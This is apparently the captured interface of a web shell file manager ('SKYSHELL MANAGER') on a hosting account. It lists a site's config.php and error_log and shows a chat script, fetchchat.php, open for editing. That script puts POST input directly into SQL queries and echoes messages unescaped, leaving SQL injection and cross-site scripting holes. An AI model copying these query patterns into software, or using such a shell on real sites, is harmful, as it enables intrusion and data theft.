📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
270.99 KB
0644
🗑️
⬇️
✏️
🔒
Editing: fetchchat.php
<?php date_default_timezone_set('Africa/Lagos'); function getTimeAgo($datetime) { $currentDateTime = date("Y-m-d H:i:s"); // Get the current date and time $diff = strtotime($currentDateTime) - strtotime($datetime); // Calculate the difference in seconds if ($diff < 60) { // Less than 1 minute ago return $diff . " seconds ago"; } elseif ($diff < 3600) { // Less than 1 hour ago return round($diff / 60) . " minutes ago"; } elseif ($diff < 86400) { // Less than 1 day ago return round($diff / 3600) . " hours ago"; } elseif ($diff < 604800) { // Less than 1 week ago return round($diff / 86400) . " days ago"; } elseif ($diff < 2592000) { // Less than 1 month ago return round($diff / 604800) . " weeks ago"; } elseif ($diff < 31536000) { // Less than 1 year ago return round($diff / 2592000) . " months ago"; } else { // More than 1 year ago return round($diff / 31536000) . " years ago"; } } include "connect_to_mysqli.php"; $chatid = $_POST['chat']; $insert = mysqli_query($con,"UPDATE chat_messages SET status='seen' where chatid='$chatid' AND type='support'") or die ('Could not connect: ' .mysqli_error($con)); $sqk = "SELECT * from chat_messages where chatid='$chatid' ORDER BY s ASC"; $sqlp = mysqli_query($con,$sqk); while($rowe = mysqli_fetch_array($sqlp)){ $sender = $rowe['sender']; $message = $rowe['message']; $message_date = getTimeAgo($rowe['date']);; $type = $rowe['type']; if ($type=="user"){ $color='#FF339A;'; $flot='right'; $clear='clear: right;'; $sender="You"; $userc='color:#fff !important;'; } else{ $color='#fff'; $flot='left'; $clear='clear: left;'; $sender=$sender; $userc='color:gray !important;'; } $show='<div class="row"> <div class="col-lg-12"> <li class="d-flex justify-content-between mb-4" style="float:'.$flot.'; '.$clear.' '.$userc.'"> <div class="card"> <div class="card-header d-flex justify-content-between p-3" style="background-color:'.$color.'; "> <!----<p class="fw-bold mb-0">'.$sender.'</p>-----> <p class="text-muted small mb-0 ms-auto" style="font-size:10px; float:right;'.$userc.' " ><i class="far fa-clock"></i> '.$message_date.'</p> </div> <div class="card-body" style="background-color:'.$color.'; "> <p class="mb-0"> '.$message.' </p> </div> </div> </li></div></div>'; echo $show; } ?>
💾 Save Changes